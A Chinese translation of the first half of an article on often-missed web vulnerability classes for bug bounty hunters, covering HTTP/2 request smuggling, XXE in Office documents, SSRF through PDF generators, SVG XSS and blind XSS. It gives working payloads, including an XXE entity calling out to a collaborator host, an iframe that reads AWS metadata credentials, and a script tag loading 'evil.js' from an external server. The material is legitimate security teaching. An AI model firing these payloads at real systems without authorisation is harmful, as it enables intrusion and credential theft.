少有人挖但仍可获得奖金的10类Web 漏洞（上）

 聚焦源代码安全，网罗国内外最新资讯！

编译：代码卫士

猎洞时，尤其是对于竞争力大的漏洞奖励计划，最好是能够猎取竞争小的漏洞。其中一种方法就是关注常被错过的payload 交付方法或 web 漏洞。为此，本文作者表示自己常常查找的是鲜有人知的漏洞类型或少有人知的漏洞挖掘方法。

虽然本文所列的漏洞类型并非黑客机密或者原创研究，但其中一些肯定少人有知！这些漏洞或者因为交付方式不同、或者常被误解或者常被错过。

1、 HTTP/2 Smuggling

这种攻击关注的是利用和 HTTP/2 标头运行相关的以及和它们在后端转换为 HTTP/1.1 和应用程序解析请求的方式异步相关的边缘案例。

HTTP/2 通过 TLS 发生，而且由于TLS通常仅在前端出现，因此HTTP/2请求在触及后端服务器前会被转换成 HTTP/1.1。这就在由前端 (HTTP/2) 和后端 (HTTP/1.1) 处理请求标头的方式之间产生不同。

例如，HTTP/2 标头并不需要在标头结束后提到/r/n，而HTTP/1.1需要。因此，对于成功的h2c smuggling 攻击，攻击者需要在标头的值中注入 /r/n，而当请求转换为 HTTP/1.1时，/r/n 之后的一切都会被解释为新的标头。

例如，通过HTTP/2 发送的请求（如下）

GET / HTTP/1.1Host: www.example.comfake:headerrntransfer-encoding:chunked

在通过HTTP/1.1到达后端服务器时将变成：

GET / HTTP/1.1Host: www.example.comFake:headertransfer-encoding:chunked

影响

由于前端HTTP/2和后端HTTP/1.1读取标头的方式是异步的，攻击者可注入换行符并引入新的标头，以操纵后端处理所提出的请求的方式。

通过利用这种行为和更改请求的长度，攻击者能够很快结束该请求，以使所提到长度之后的内容被解释为新请求。

由于之后请求的内容受攻击者控制，将会导致受攻击者控制的响应提供给应用程序的无辜用户。

相关文章：https://portswigger.net/research/request-smuggling

https://labs.detectify.com/2021/08/26/how-to-set-up-docker-for-varnish-http-2-request-smuggling/

备注：常见的HTTP客户端如cURL可能不允许在 HTTP/2 请求标头添加特殊字符。为此，可使用http2smugl等工具执行该攻击。

2、通过 Office Open XML 解析器执行XXE

Office Open XML (OOXML) 是一种可表示 word、表单和展示文档的文件格式，供微软 Office 用于 .docx、.pptx、.xlsx 格式。这些文件类型实际上是用能XML文件组成的ZIP 文件。

不信就马上解压缩一个！

test$ file test.docxtest.docx: Microsoft Word 2007+
test$ unzip test.docxArchive:  test.docx  inflating: word/numbering.xml  inflating: word/settings.xml  inflating: word/fontTable.xml  inflating: word/styles.xml  inflating: word/document.xml  inflating: word/_rels/document.xml.rels  inflating: _rels/.rels  inflating: word/theme/theme1.xml  inflating: [Content_Types].xml

如果你具有黑客思维，你可能已经猜到了结局。很多web 应用允许用户上传微软 Office 文档，然后解析某些细节。例如，可能某个 web 应用允许用户通过以 XLSX 格式的方式上传表单导入数据。在某些节点，为使解析器从表单提取数据，解析器将需要解析至少一个 XML 文件。

只要在解析XML的地方，我们就应该测试是否存在 XXE！

构建Payload

唯一的测试方法是生成包含 XXE payload 的一份微软 Office 文件。首先，创建一个存放解压文档的空目录，然后进行解压。

test$ lstest.docxtest$ mkdir unzippedtest$ unzip ./test.docx -d ./unzipped/Archive:  ./test.docx  inflating: ./unzipped/word/numbering.xml  inflating: ./unzipped/word/settings.xml  inflating: ./unzipped/word/fontTable.xml  inflating: ./unzipped/word/styles.xml  inflating: ./unzipped/word/document.xml  inflating: ./unzipped/word/_rels/document.xml.rels  inflating: ./unzipped/_rels/.rels  inflating: ./unzipped/word/theme/theme1.xml  inflating: ./unzipped/[Content_Types].xml

在你最喜欢的文本编辑器 (vim) 中打开 ./unzipped/word/document.xml 并编辑 XML 以包含最喜欢的 XXE payload。我首先尝试的是一个 HTTP 请求，如：

<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]><x>&test;</x>

这些代码应当插入两个根 XML 对象中，当然需要用可以监控请求的URL 替换该URL。

如果确实使用的是vim，则可在此收手，因为将无法退出。否则，继续！

现在只要压缩该文档创建恶意 poc.docx 文件即可。在之前创建的“解压缩“目录中运行如下代码：

接着将文件上传到易受攻击的 web 应用中并祈祷 Burp Collaborator 日志中出现请求。

虽然当前多数主要的 Office Open 解析器都已经修复该漏洞，但不管出于什么原因，我还是在野发现了该漏洞。我认为主要有两个原因：

1、人们手动滚动解析器

2、依赖关系管理不良（即解析器库过时）

3、在 PDF 生成器中通过XSS实现SSRF

Ben Sadeghipour 和 Cody Brocious 在2017年的 Defcon 大会上发表了《通过SSRF 和 PDF 生成器拥有 Clout》的演讲，提到了一个有意思的 SSRF交付方法：PDF 生成器。

PDF 生成器的工作的方法是将 HTML、CSS和 JavaScript 转换为PDF，通常是在无标头浏览器中进行渲染。如能将 JavaScript 注入代码，则可能会被无标头浏览器执行。通过这种注入，你可能能够加载外部资源，如尽可内部访问的主机或云元数据端点。

最简单的实现方法是注入内联框架以调用敏感的内部端点，如调用 AWS 元数据端点并转储 AWS 凭据，可尝试注入：

<iframe src="http://169.254.169.254/user-data">

如一切顺利，则最终的PDF将包含源自AWS元数据端点的HTTP响应。

虽然如果 wkhtmltopdf 用于生成PDF会奏效，但如果使用的是无标头 Chrome 实例，则困难得多，因为 Chrome 具有正常浏览器所拥有的所有安全防护措施。

该演讲中还提到了如何绕过的场景：https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/edit

4、通过 SVG 文件实现 XSS

虽然并非新知识，但它仍然是很常见的情况。

一款应用程序中最常见的一个功能是上传图像的功能。通常上传功能仅会出图像类型的白名单。不过图像格式SVG允许 JavaScript 注入。有时候仍然能够上传 SVG 上传。

如遇到这种情况，需要通过如下内容（注意 JavaScript 警报）创建一份 SVG 文件：

<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  <script type="text/javascript">    alert(document.domain);</script></svg>

现在上传文件并导航至存储该文件的URL，之后应该会看到 JavaScript 警报框。如警报显示的域名包含或可被XSS滥用的功能如托管目标应用程序的域名，则走运了。在很多情况下，该文件被上传到AWS S3域名，而在这种情况下XSS很可能是无用的，不会造成任何安全影响。

5、Blind XSS

当前，用户在 web 应用程序中输入的数据最后很可能出现在很多不同的地方。例如，在虚构的社交网络 example.com 上创建了一个用户账户。

连同该 web 应用，这些用户详情最终也可能被打印在其它敏感的后端UI中如管理面板和/或日志门户。通常这些后端UI不如公开的前端那样安全，可能存在XSS漏洞。为此，在应用程序表单中喷射 blind XSS payload，之后等待后续情况。

Blind XSS (BXSS) 如何运作？

当我们搜索非blind XSS时，倾向于使用 alert() 框或类似形式以说明已成功注入 JavaScript。当我们处理 blind XSS 时，需要使用不同的提示，因为在管理员会话中或完全不同的应用程序中爆发时，我们无法看到警报框。

我们通过注入第三方脚本的方式解决该问题。例如，可以注入某些HTML，如：

<script src="https://hakluke.com/evil.js"></script>

如果HTML 注入成功，则会加载并从 https://hakluke.com/evil.js   执行 JavaScript。

该 JavaScript 将在受害者浏览器中执行，且能够提取一些有意思的数据包括：

结合这些详情就可使攻击者很好地了解发生XSS且有时候包含敏感信息的应用程序。

例如，你正在攻击基于云的开票应用程序。在“名字“字段，注入一个 blind XSS payload。第二天收到通知称XSS已发力，检查DOM/Screenshot 后发现该XSS 在该应用程序的管理门户爆发，而DOM包含所有用户列表及其个人信息。

相关信息：https://xsshunter.com/

推荐阅读

2021 OWASP Top 10 榜单（初稿）发布，头牌易主

被利用达数百万次、瞄准 Linux 系统的 Top 15漏洞

美英澳联合发布2020-2021期间遭利用最多的 Top 30漏洞

MITRE 发布2021 CWE Top 25 榜单

原文链接

https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/

题图：Pixabay License

本文由奇安信编译，不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。

    觉得不错，就点个 “在看” 或 "赞” 吧~

原文始发于微信公众号（代码卫士）：少有人挖但仍可获得奖金的10类Web 漏洞（上）